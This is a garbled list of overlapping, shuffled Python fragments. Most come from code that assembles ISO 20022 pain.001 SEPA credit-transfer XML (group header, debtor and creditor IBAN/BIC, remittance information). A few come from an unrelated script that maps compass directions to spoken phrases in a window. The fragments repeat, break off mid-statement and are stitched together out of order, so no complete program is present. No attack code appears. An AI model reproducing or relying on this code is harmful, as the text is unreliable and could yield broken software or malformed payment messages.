"message['_sorting'] = ['GrpHdr', 'PmtInf'] message['header'] = construct_header(ctransfer) message['payment_information'] = construct_payment_information(ctransfer)", "(account.postcode, account.city)) addr_data['address'] = address return addr_data def construct_transaction_data(ctransfer, transaction):", "transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate:", "transaction_information['remote_inf'] = rmt_inf return transaction_information def construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf')", "'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id)", "root = construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] =", "child_tag_name='Cd', child_value=transaction.ext_purpose) if not transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd',", "= construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'),", "transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref',", "construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV')", "add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf", "return header def construct_iban(account, tag_name): iban_data = construct_tag_data(tag_name) iban_data['id'] =", "if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] =", "child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs, child_value) return data", "return iban_data def construct_bic(account, tag_name): bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id'] =", "value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent']", "transfer_information return payment_inf def construct_document(ctransfer): root = construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')])", "= ['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct',", "construct_tag_data('Nm', value=account.name) if account.has_address(): address = construct_tag_data('PstlAdr') if account.country: address['country']", "} if sorting: data['_sorting'] = sorting return data def add_simple_child(data,", "child_value=transaction.purpose) else: rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf',", "sorting=None): data = { '_name': tag_name, '_attrs': attrs or [],", "payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] =", "['GrpHdr', 'PmtInf'] message['header'] = construct_header(ctransfer) message['payment_information'] = construct_payment_information(ctransfer) root['message'] =", "'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') for i, payment in enumerate(ctransfer.transactions):", "add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref)", "construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [], 'SEPA') payment_inf['instruction']", "= construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl']", "= construct_tag_data('ChrgBr', value='SLEV') for i, payment in enumerate(ctransfer.transactions): transfer_information =", "add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose)", "add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [], account.bic) return bic_data def construct_address_data(account, tag_name):", "address['country'] = construct_tag_data('Ctry', value=account.country) if account.street: address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street)", "= construct_header(ctransfer) message['payment_information'] = construct_payment_information(ctransfer) root['message'] = message return root", "payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor,", "construct_header(ctransfer): header = construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum',", "transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code',", "add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [], 'SEPA') payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time'] =", "child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount',", "header['_sorting'] = ['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id'] = construct_tag_data('MsgId',", "child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor,", "[], 'SEPA') payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor']", "message['header'] = construct_header(ctransfer) message['payment_information'] = construct_payment_information(ctransfer) root['message'] = message return", "'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd',", "child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd',", "add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [], ctransfer.debtor.name) return header def construct_iban(account, tag_name):", "child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] =", "= ['GrpHdr', 'PmtInf'] message['header'] = construct_header(ctransfer) message['payment_information'] = construct_payment_information(ctransfer) root['message']", "= construct_tag_data(child_tag_name, child_attrs, child_value) return data def construct_header(ctransfer): header =", "add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [], account.iban) return iban_data def construct_bic(account, tag_name):", "construct_tag_data('PstlAdr') if account.country: address['country'] = construct_tag_data('Ctry', value=account.country) if account.street: address['addr_line_1']", "'_name': tag_name, '_attrs': attrs or [], '_value': value, } if", "'IBAN', [], account.iban) return iban_data def construct_bic(account, tag_name): bic_data =", "construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] =", "transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf =", "ctransfer.debtor.name) return header def construct_iban(account, tag_name): iban_data = construct_tag_data(tag_name) iban_data['id']", "'RmtInf'] transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid),", "'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer']", "'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm',", "tag_name): bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [],", "construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct',", "= construct_tag_data('PstlAdr') if account.country: address['country'] = construct_tag_data('Ctry', value=account.country) if account.street:", "return bic_data def construct_address_data(account, tag_name): addr_data = construct_tag_data(tag_name) addr_data['name'] =", "'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId',", "'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF')", "i, payment in enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' %", "or [], '_value': value, } if sorting: data['_sorting'] = sorting", "not transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf", "child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate:", "construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'),", "= construct_tag_data('AdrLine', value=account.street) if account.postcode and account.city: address['addr_line_2'] = construct_tag_data('AdrLine',", "child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp']", "header = construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty']", "add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if not transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'),", "'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') for", "= construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr',", "value, } if sorting: data['_sorting'] = sorting return data def", "= add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data']", "construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt')", "payment in enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' % i]", "value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction", "payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') for i,", "= transfer_information return payment_inf def construct_document(ctransfer): root = construct_tag_data('Document', [('xmlns',", "= construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr',", "%s\" % (account.postcode, account.city)) addr_data['address'] = address return addr_data def", "data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount']", "child_attrs, child_value) return data def construct_header(ctransfer): header = construct_tag_data('GrpHdr') header['_sorting']", "iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [], account.iban) return iban_data def", "child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured'] =", "sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] =", "payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum',", "construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [], ctransfer.debtor.name) return", "construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name)", "address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street) if account.postcode and account.city: address['addr_line_2'] =", "if account.postcode and account.city: address['addr_line_2'] = construct_tag_data('AdrLine', value=\"%s %s\" %", "child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy',", "construct_tag_data(tag_name, attrs=None, value=None, sorting=None): data = { '_name': tag_name, '_attrs':", "message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr', 'PmtInf'] message['header'] = construct_header(ctransfer)", "= construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [], account.bic) return", "= construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum',", "iban_data = construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [], account.iban)", "def construct_tag_data(tag_name, attrs=None, value=None, sorting=None): data = { '_name': tag_name,", "= construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg',", "rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf'] = rmt_inf return", "child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if", "'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id']", "= ['InstrPrty', 'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'),", "payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [], 'SEPA') payment_inf['instruction'] = payment_instruction", "'_value': value, } if sorting: data['_sorting'] = sorting return data", "child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info',", "value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party']", "if account.street: address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street) if account.postcode and account.city:", "= construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr', 'PmtInf'] message['header'] = construct_header(ctransfer) message['payment_information']", "= construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor']", "construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr', 'PmtInf']", "'CtrlSum', 'InitgPty'] header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp)", "= construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs',", "'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] =", "payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] =", "value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [], ctransfer.debtor.name) return header", "value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions']", "addr_data def construct_transaction_data(ctransfer, transaction): transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId',", "rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf", "= construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm', value=account.name) if account.has_address(): address =", "rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf'] = rmt_inf return transaction_information def", "construct_bic(account, tag_name): bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC',", "addr_data = construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm', value=account.name) if account.has_address(): address", "'iban', 'IBAN', [], account.iban) return iban_data def construct_bic(account, tag_name): bic_data", "child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor']", "data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs, child_value) return data def construct_header(ctransfer): header", "= construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' % i] = transfer_information return payment_inf", "'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] =", "if account.country: address['country'] = construct_tag_data('Ctry', value=account.country) if account.street: address['addr_line_1'] =", "add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'),", "construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting']", "construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct')", "ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] =", "sorting return data def add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name]", "construct_transaction_data(ctransfer, transaction): transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId', 'Amt', 'ChrgBr',", "'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct') if", "= construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id']", "transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] =", "rmt_inf_strd transaction_information['remote_inf'] = rmt_inf return transaction_information def construct_payment_information(ctransfer): payment_inf =", "addr_data['name'] = construct_tag_data('Nm', value=account.name) if account.has_address(): address = construct_tag_data('PstlAdr') if", "construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs',", "= add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property'] =", "value=account.street) if account.postcode and account.city: address['addr_line_2'] = construct_tag_data('AdrLine', value=\"%s %s\"", "payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] =" ]
[ "= selector_size*4 window = Window (window_size,window_size,selector_map,selector_size,selector_size) # set actions here", "Window (window_size,window_size,selector_map,selector_size,selector_size) # set actions here from functools import partial", "\"',something,'\"'))) window.actions[D.NW] = partial (say,'northwast') window.actions[D.N] = partial (say,'north') window.actions[D.NE]", "window.actions[D.SW] = partial (say,'suess whest') window.actions[D.S] = partial (say,'sissy') window.actions[D.SE]", "(say,'north') window.actions[D.NE] = partial (say,'neorthest') window.actions[D.W] = partial (say,'western') window.actions[D.E]", "Enum from window import Window D = Enum ('Directions','N NE", "selector_size*4 window = Window (window_size,window_size,selector_map,selector_size,selector_size) # set actions here from", "(say,'neorthest') window.actions[D.W] = partial (say,'western') window.actions[D.E] = partial (say,'easy') window.actions[D.SW]", "here from functools import partial def say (something): print (''.join", "selector_map = { D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5], D.W:", "= 100 window_size = selector_size*4 window = Window (window_size,window_size,selector_map,selector_size,selector_size) #", "[3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5], } selector_size =", "S SW W NW') selector_map = { D.NW: [0.5,0.5], D.N:", "(('Me: \"',something,'\"'))) window.actions[D.NW] = partial (say,'northwast') window.actions[D.N] = partial (say,'north')", "actions here from functools import partial def say (something): print", "D.W: [0,1.5], D.E: [3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5],", "D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5], D.W: [0,1.5], D.E: [3,1.5],", "partial def say (something): print (''.join (('Me: \"',something,'\"'))) window.actions[D.NW] =", "(window_size,window_size,selector_map,selector_size,selector_size) # set actions here from functools import partial def", "[0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5], } selector_size = 100 window_size", "SE S SW W NW') selector_map = { D.NW: [0.5,0.5],", "import partial def say (something): print (''.join (('Me: \"',something,'\"'))) window.actions[D.NW]", "window import Window D = Enum ('Directions','N NE E SE", "set actions here from functools import partial def say (something):", "D = Enum ('Directions','N NE E SE S SW W", "partial (say,'suess whest') window.actions[D.S] = partial (say,'sissy') window.actions[D.SE] = partial", "100 window_size = selector_size*4 window = Window (window_size,window_size,selector_map,selector_size,selector_size) # set", "SW W NW') selector_map = { D.NW: [0.5,0.5], D.N: [1.5,0],", "} selector_size = 100 window_size = selector_size*4 window = Window", "= partial (say,'northwast') window.actions[D.N] = partial (say,'north') window.actions[D.NE] = partial", "[0,1.5], D.E: [3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5], }", "(''.join (('Me: \"',something,'\"'))) window.actions[D.NW] = partial (say,'northwast') window.actions[D.N] = partial", "window.actions[D.NW] = partial (say,'northwast') window.actions[D.N] = partial (say,'north') window.actions[D.NE] =", "(something): print (''.join (('Me: \"',something,'\"'))) window.actions[D.NW] = partial (say,'northwast') window.actions[D.N]", "D.NE: [2.5,0.5], D.W: [0,1.5], D.E: [3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3],", "from functools import partial def say (something): print (''.join (('Me:", "window_size = selector_size*4 window = Window (window_size,window_size,selector_map,selector_size,selector_size) # set actions", "window.actions[D.N] = partial (say,'north') window.actions[D.NE] = partial (say,'neorthest') window.actions[D.W] =", "enum import Enum from window import Window D = Enum", "[1.5,3], D.SE: [2.5,2.5], } selector_size = 100 window_size = selector_size*4", "= partial (say,'easy') window.actions[D.SW] = partial (say,'suess whest') window.actions[D.S] =", "print (''.join (('Me: \"',something,'\"'))) window.actions[D.NW] = partial (say,'northwast') window.actions[D.N] =", "window.actions[D.E] = partial (say,'easy') window.actions[D.SW] = partial (say,'suess whest') window.actions[D.S]", "[2.5,2.5], } selector_size = 100 window_size = selector_size*4 window =", "(say,'western') window.actions[D.E] = partial (say,'easy') window.actions[D.SW] = partial (say,'suess whest')", "window.actions[D.S] = partial (say,'sissy') window.actions[D.SE] = partial (say,'seoul') window.go ()", "partial (say,'easy') window.actions[D.SW] = partial (say,'suess whest') window.actions[D.S] = partial", "import Enum from window import Window D = Enum ('Directions','N", "Enum ('Directions','N NE E SE S SW W NW') selector_map", "D.SE: [2.5,2.5], } selector_size = 100 window_size = selector_size*4 window", "D.E: [3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5], } selector_size", "NW') selector_map = { D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5],", "D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5], } selector_size = 100", "# set actions here from functools import partial def say", "window.actions[D.W] = partial (say,'western') window.actions[D.E] = partial (say,'easy') window.actions[D.SW] =", "= Window (window_size,window_size,selector_map,selector_size,selector_size) # set actions here from functools import", "[2.5,0.5], D.W: [0,1.5], D.E: [3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3], D.SE:", "partial (say,'north') window.actions[D.NE] = partial (say,'neorthest') window.actions[D.W] = partial (say,'western')", "window = Window (window_size,window_size,selector_map,selector_size,selector_size) # set actions here from functools", "= partial (say,'north') window.actions[D.NE] = partial (say,'neorthest') window.actions[D.W] = partial", "def say (something): print (''.join (('Me: \"',something,'\"'))) window.actions[D.NW] = partial", "selector_size = 100 window_size = selector_size*4 window = Window (window_size,window_size,selector_map,selector_size,selector_size)", "from window import Window D = Enum ('Directions','N NE E", "(say,'northwast') window.actions[D.N] = partial (say,'north') window.actions[D.NE] = partial (say,'neorthest') window.actions[D.W]", "= partial (say,'suess whest') window.actions[D.S] = partial (say,'sissy') window.actions[D.SE] =", "NE E SE S SW W NW') selector_map = {", "partial (say,'neorthest') window.actions[D.W] = partial (say,'western') window.actions[D.E] = partial (say,'easy')", "[0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5], D.W: [0,1.5], D.E: [3,1.5], D.SW:", "from enum import Enum from window import Window D =", "D.N: [1.5,0], D.NE: [2.5,0.5], D.W: [0,1.5], D.E: [3,1.5], 